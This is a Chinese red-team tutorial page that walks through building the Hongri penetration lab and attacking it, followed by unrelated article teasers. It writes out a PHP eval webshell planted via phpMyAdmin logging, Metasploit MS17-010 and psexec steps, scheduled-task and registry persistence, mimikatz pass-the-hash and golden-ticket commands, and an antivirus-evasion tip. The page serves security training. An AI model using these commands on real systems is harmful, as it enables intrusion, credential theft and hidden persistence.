当前位置: 首页 > article >正文

新手也能懂的红队实战:从零搭建红日靶场到内网渗透完整复盘(附环境包)

红队实战入门从零构建红日靶场到内网渗透全流程解析环境准备与靶场搭建红日靶场作为国内知名的渗透测试学习环境其设计模拟了真实企业内网架构包含Web服务器、域控服务器和域成员主机。对于初学者而言正确搭建环境是后续所有操作的基础。我们先从虚拟机配置开始网络拓扑关键点Web服务器Windows 7需要配置双网卡NAT模式192.168.134.135外部访问VMnet1192.168.52.143内网通信域控服务器Windows Server 2008192.168.52.138域成员主机Windows Server 2003192.168.52.141注意所有虚拟机默认密码为hongrisec2019建议在实验环境中使用正式环境必须修改常见搭建问题解决方案问题现象可能原因解决方法虚拟机无法联网网卡模式错误检查VMnet1是否启用Host-Only模式靶机之间ping不通防火墙未关闭执行netsh advfirewall set allprofile state off服务无法启动系统时间错误调整虚拟机时间至2019年左右信息收集与漏洞探测完整的渗透测试中信息收集往往占据70%的工作量。在红日靶场中我们需要采用分层递进的收集策略基础信息扫描whatweb http://192.168.52.143 # 识别Web框架 dirsearch -u http://192.168.52.143 -e php # 目录扫描关键发现处理发现phpMyAdmin后台时应立即检查版本-- 通过文档文件判断版本 SELECT version; -- 检查导出权限 SHOW VARIABLES LIKE secure_file_priv;突破点选择矩阵漏洞类型利用难度适用场景工具推荐弱口令爆破★★☆存在登录接口Burp Suite目录遍历★☆☆存在索引漏洞御剑扫描器SQL注入★★★存在查询接口sqlmap权限获取与维持通过phpMyAdmin获取Webshell是本次渗透的关键转折点具体实现路径日志写入法详细步骤开启全局日志记录SET global general_log ON; SET global general_log_file C:/phpStudy/WWW/shell.php;写入恶意代码SELECT ?php eval($_POST[cmd]);?;使用蚁剑连接时需注意选择PHP类型连接编码设置为UTF-8超时时间调整为30000ms经验提示内网环境中建议优先使用冰蝎等工具其流量特征更隐蔽权限提升检查清单[ ] 查看系统补丁systeminfo[ ] 检查服务权限accesschk.exe -uwcqv Authenticated Users *[ ] 查找敏感文件dir /s *pass* *.config内网横向移动实战获取立足点后内网渗透需要系统化的推进策略域环境侦查命令集net group Domain Admins /domain # 查询域管理员 nltest /domain_trusts # 查询域信任关系 nslookup -typeSRV _ldap._tcp # 定位域控制器MS17-010漏洞利用优化方案使用Metasploit进行精准探测use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.52.141 set THREADS 3 run漏洞利用失败时的备选方案尝试psexec远程执行use exploit/windows/smb/psexec set SMBPass hongrisec2019 set SMBUser Administrator权限维持技巧创建计划任务schtasks /create /tn Update /tr C:\shell.exe /sc minute /mo 1注册表自启动reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backup /t REG_SZ /d C:\shell.exe域控攻防与总结在最终获取域控权限的过程中有几个关键转折点值得注意哈希传递攻击(PTH)sekurlsa::pth /user:Administrator /domain:god.org /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0黄金票据制作kerberos::golden /admin:Administrator /domain:god.org /sid:S-1-5-21-1218 /krbtgt:310b643c5316c8c3c70a10cf8365e /ticket:golden.kirbi实战中遇到的典型问题及解决记录域控防火墙规则拦截通过已控主机执行netsh advfirewall firewall add rule nameRDP dirin actionallow protocolTCP localport3389杀软拦截mimikatz使用免杀版本或改用powershell版本横向移动速度慢设置set AutoRunScript post/windows/manage/migrate自动迁移进程

相关文章:

新手也能懂的红队实战:从零搭建红日靶场到内网渗透完整复盘(附环境包)

红队实战入门:从零构建红日靶场到内网渗透全流程解析 环境准备与靶场搭建 红日靶场作为国内知名的渗透测试学习环境,其设计模拟了真实企业内网架构,包含Web服务器、域控服务器和域成员主机。对于初学者而言,正确搭建环境是后续所有…...

React 19实战:如何用最新特性打造Nano Banana无限画布(附完整代码)

React 19实战:如何用最新特性打造Nano Banana无限画布 在当今前端开发领域,React 19的发布无疑为开发者们带来了全新的可能性。本文将深入探讨如何利用React 19的最新特性构建一个名为"Nano Banana"的高性能无限画布应用。不同于传统的画布实现…...

HagiCode 为什么选择 Hermes 作为综合 Agent 核心菊

1. 哑铃图是什么? 哑铃图(Dumbbell Plot),有时也称为DNA图或杠铃图,是一种用于比较两个相关数据点的可视化图表。 它源于人们对更有效数据比较方式的持续探索。 在传统的时间序列比较中,我们通常使用两条折…...

AI 大模型职业选择衣

一、Actor 模型:不是并发技巧,而是领域单元 Actor 模型的本质是: Actor 是独立运行的实体 Actor 之间只通过消息交互 Actor 内部状态不可被外部直接访问 Actor 自行决定如何处理收到的消息 Actor 模型真正解决的是: 如何在不共享状…...

【deepin】通过x11vnc与xrdp实现Windows无缝远程控制deepin桌面

1. 为什么需要远程控制deepin桌面? 作为一个长期使用deepin系统的开发者,我经常遇到需要在Windows电脑上远程操作deepin桌面的场景。比如在家办公时想用Windows笔记本访问公司的deepin开发机,或者给使用deepin的朋友远程解决问题。传统的Tea…...

Python:深入理解set_seed——确保机器学习实验的可重复性

1. 为什么我们需要set_seed? 做机器学习实验时,最让人头疼的就是结果不可复现。昨天跑出来的准确率是92%,今天同样的代码跑出来变成了89%。这种"薛定谔的准确率"让很多开发者抓狂。我在实际项目中就遇到过这种情况:在调…...

芯片测试工程师必看:Mentor DFT OCC时钟控制器实战配置与三大设计模式详解

芯片测试工程师必看:Mentor DFT OCC时钟控制器实战配置与三大设计模式详解 在芯片测试领域,时钟控制器的设计与配置一直是工程师面临的核心挑战之一。作为DFT(Design for Testability)工程师,我们每天都需要与各种时钟…...

电解电容寿命预测:从理论公式到工程实践

1. 电解电容寿命预测的基本原理 电解电容作为电子设备中的关键元件,其寿命直接影响整机可靠性。我曾参与过多个电源项目,亲眼见过因为电容失效导致的设备故障。要理解寿命预测,首先要明白电解电容的老化机制——电解液会随着时间和温度逐渐蒸…...

ARM 架构 JuiceFS 性能优化:基于 MLPerf 的实践与调优汲

Qt是一个跨平台C图形界面开发库,利用Qt可以快速开发跨平台窗体应用程序,在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置,实现图形化开发极大的方便了开发效率,本笔记将重点介绍QSpinBox数值微调组件的常用方法及灵活应用。…...

算法——暴力+优化

本质这类型题本质就是基于暴力解法,优化其时间复杂度例题首先容易想到的就是组合型动态规划,可是由于在求以i位置为结尾的最长递增子序列的时候要遍历以[0-i-1]位置为结尾最长递增子序列的长度,所以时间复杂度会达到n^2。要求以i为结尾的最长…...

QWEN-AUDIO内容创作提效:营销文案→自然语音→一键导出WAV全流程

QWEN-AUDIO内容创作提效:营销文案→自然语音→一键导出WAV全流程 1. 引言:语音创作的新时代 你有没有遇到过这样的情况:写好了精彩的营销文案,却苦于找不到合适的配音?或者需要为视频内容添加语音,但自己…...

intv_ai_mk11 GPU算力适配案例:A10显存16GB下7B模型量化部署实操

intv_ai_mk11 GPU算力适配案例:A10显存16GB下7B模型量化部署实操 1. 项目背景与挑战 在AI模型部署实践中,如何在有限GPU资源上高效运行大语言模型一直是工程难题。本文将分享在NVIDIA A10G显卡(16GB显存)上部署intv_ai_mk11&…...

Appium启动参数避坑指南:新手常犯的5个错误及解决方案

Appium启动参数避坑指南:新手常犯的5个错误及解决方案 在移动应用UI自动化测试领域,Appium作为一款开源的跨平台测试框架,凭借其强大的兼容性和灵活性赢得了众多测试工程师的青睐。然而,对于刚接触Appium的新手来说,启…...

RadioHead嵌入式无线协议栈原理与STM32实战

1. RadioHead库概述:面向嵌入式系统的面向对象无线数据链路协议栈RadioHead 是一个专为资源受限嵌入式微处理器设计的、高度可移植的面向对象无线数据链路协议栈。它并非简单的射频驱动封装,而是一套完整的、分层抽象的通信框架,覆盖从物理层…...

从错误码到精准定位:307系列基站定位实战排障指南

1. 当你的设备突然"失联":307系列基站定位排障入门 第一次用ML307A模组调试基站定位功能时,我盯着串口助手连续跳出的126错误码整整半小时。就像在玩解谜游戏,设备明明显示网络信号满格,AT指令也返回了OK,但…...

【自动驾驶】从几何到代码:车辆运动学模型的推导与Python实践

1. 车辆运动学模型基础概念 第一次接触自动驾驶车辆建模时,我被各种坐标系和参数搞得晕头转向。直到把车辆想象成小时候玩的遥控车,才突然开窍——原来我们只需要知道车子位置、朝向和速度,就能预测它下一秒会跑到哪里。这就是车辆运动学模型…...

HMC5883L磁力计驱动开发与磁场校准实战

1. HMC5883L数字罗盘传感器技术解析与嵌入式驱动开发实践1.1 器件定位与工程价值HMC5883L是由Honeywell公司推出的三轴磁阻式数字罗盘传感器,属于高精度、低功耗、IC接口的MEMS磁力计芯片。在嵌入式系统中,它并非仅用于“指南针”这一表层功能&#xff0…...

Rust的匹配中的质量辅助

Rust的匹配机制以其强大的类型安全和表达能力著称,而其中的质量辅助功能更是为开发者提供了高效且可靠的编程体验。质量辅助不仅帮助开发者在编写匹配语句时减少错误,还能通过编译器的智能提示和检查,提升代码的可读性和健壮性。无论是处理枚…...

存储那么贵,何不白嫖飞书云文件空间还

基础示例:单工作表 Excel 转 TXT 以下是将一个 Excel 文件中的第一个工作表转换为 TXT 的完整步骤: 1. 加载并读取Excel文件 from spire.xls import * from spire.xls.common import * workbook Workbook() workbook.LoadFromFile("示例.xlsx"…...

如何用PDF Arranger轻松管理PDF文档:终极免费工具指南

如何用PDF Arranger轻松管理PDF文档:终极免费工具指南 【免费下载链接】pdfarranger Small python-gtk application, which helps the user to merge or split PDF documents and rotate, crop and rearrange their pages using an interactive and intuitive graph…...

逐行拆解 STM32F4-CAN-IAP:一份“代码即文档”的功能级说明书

STM32F4的CAN升级方案 bootloader源代码,对应测试用app源代码,都是keil工程,代码有备注,也有使用说明。 带对应上位机可执行文件。 上位机vs2013开发(默认exe,源代码需要额外拿)(适用于:拿到源码…...

Omron NX程序自动化电池焊接检测机:人机配方一键换型,智能故障记录与统计,EtherCA...

omron欧姆龙NX程序NX1P2-1040DT,搭载思勤EtherCAT远程输入输出IO模块 全自动电池焊接检测机 涵盖人机配方一键换型功能,故障记录功能,产量统计及OEE功能,TCP,视觉通信控制,EIP远程IO通信,松下A6…...

三菱FX3U PLC与变频器Modbus RTU通讯控制案例:实现启停、频率设定与读取功能...

三菱FX3U与三菱变频器 modbus RTU通讯案例 器件:三菱FX3U PLCFX3U 485BD,三菱E740变频器,昆仑通态触摸屏,威纶通 功能:采用485方式,modbus RTU协议。 与变频器通讯,控制启停,频率&am…...

Java的java.lang.runtime.ObjectMethods记录类方法自动生成的底层机制

Java记录类方法自动生成的底层机制探秘 在Java 14中引入的记录类(Record)简化了不可变数据载体的定义,而其背后的java.lang.runtime.ObjectMethods类则是实现自动生成equals()、hashCode()和toString()等核心方法的关键。这一机制通过编译时…...

ESP8266驱动1.44英寸ST7735 TFT屏的实战指南与图像显示优化

1. ESP8266与ST7735屏的硬件连接实战 第一次用ESP8266驱动1.44寸ST7735屏时,最让我头疼的就是引脚接线问题。不同厂商的屏幕引脚定义可能略有差异,但核心信号线基本一致。我手头这块屏采用8针SPI接口,实际测试发现用NodeMCU开发板连接最方便。…...

STM32开发效率翻倍:在Clion里集成DeepSeek Cline插件实现智能代码补全与调试

STM32开发效率翻倍:在CLion中集成DeepSeek Cline实现智能编码革命 嵌入式开发领域正在经历一场由AI驱动的生产力变革。对于使用STM32系列芯片的中高级开发者来说,将DeepSeek Cline插件集成到CLion开发环境中,可以显著提升HAL库和标准库开发的…...

告别算法地狱!用XVF3800麦克风阵列快速打造智能语音产品(附开发板选型指南)

告别算法地狱!用XVF3800麦克风阵列快速打造智能语音产品(附开发板选型指南) 在智能语音交互设备爆发的今天,从智能音箱到会议系统,清晰的远场拾音能力已成为产品标配。但传统方案需要自研波束成形、回声消除等复杂算法…...

放弃CMSIS-DSP?实测STM32H7优化RNNoise神经网络运算的几种思路与效果对比

STM32H7神经网络加速实战:从CMSIS-DSP到手工优化的性能突围 在嵌入式音频处理领域,实时噪声抑制一直是工程师们面临的挑战。当我们将目光投向STM32H7这类高性能微控制器时,往往会期待其Cortex-M7内核与双精度FPU能轻松应对神经网络计算。但现…...

当图论遇到优化:手把手教你用分支限界法解决带权顶点覆盖问题(C++实现)

当图论遇到优化:手把手教你用分支限界法解决带权顶点覆盖问题(C实现) 在算法优化的世界里,图论问题总是散发着独特的魅力。想象这样一个场景:你需要在一个城市部署最少数量的监控摄像头,每个位置的安装成本…...

Go语言的sync.RWMutex读

Go语言中的sync.RWMutex:高效读锁的奥秘 在多线程编程中,读写锁(RWMutex)是一种经典的同步机制,它允许多个读操作并发执行,而写操作则需要独占访问。Go语言的sync.RWMutex正是为此设计,尤其适合…...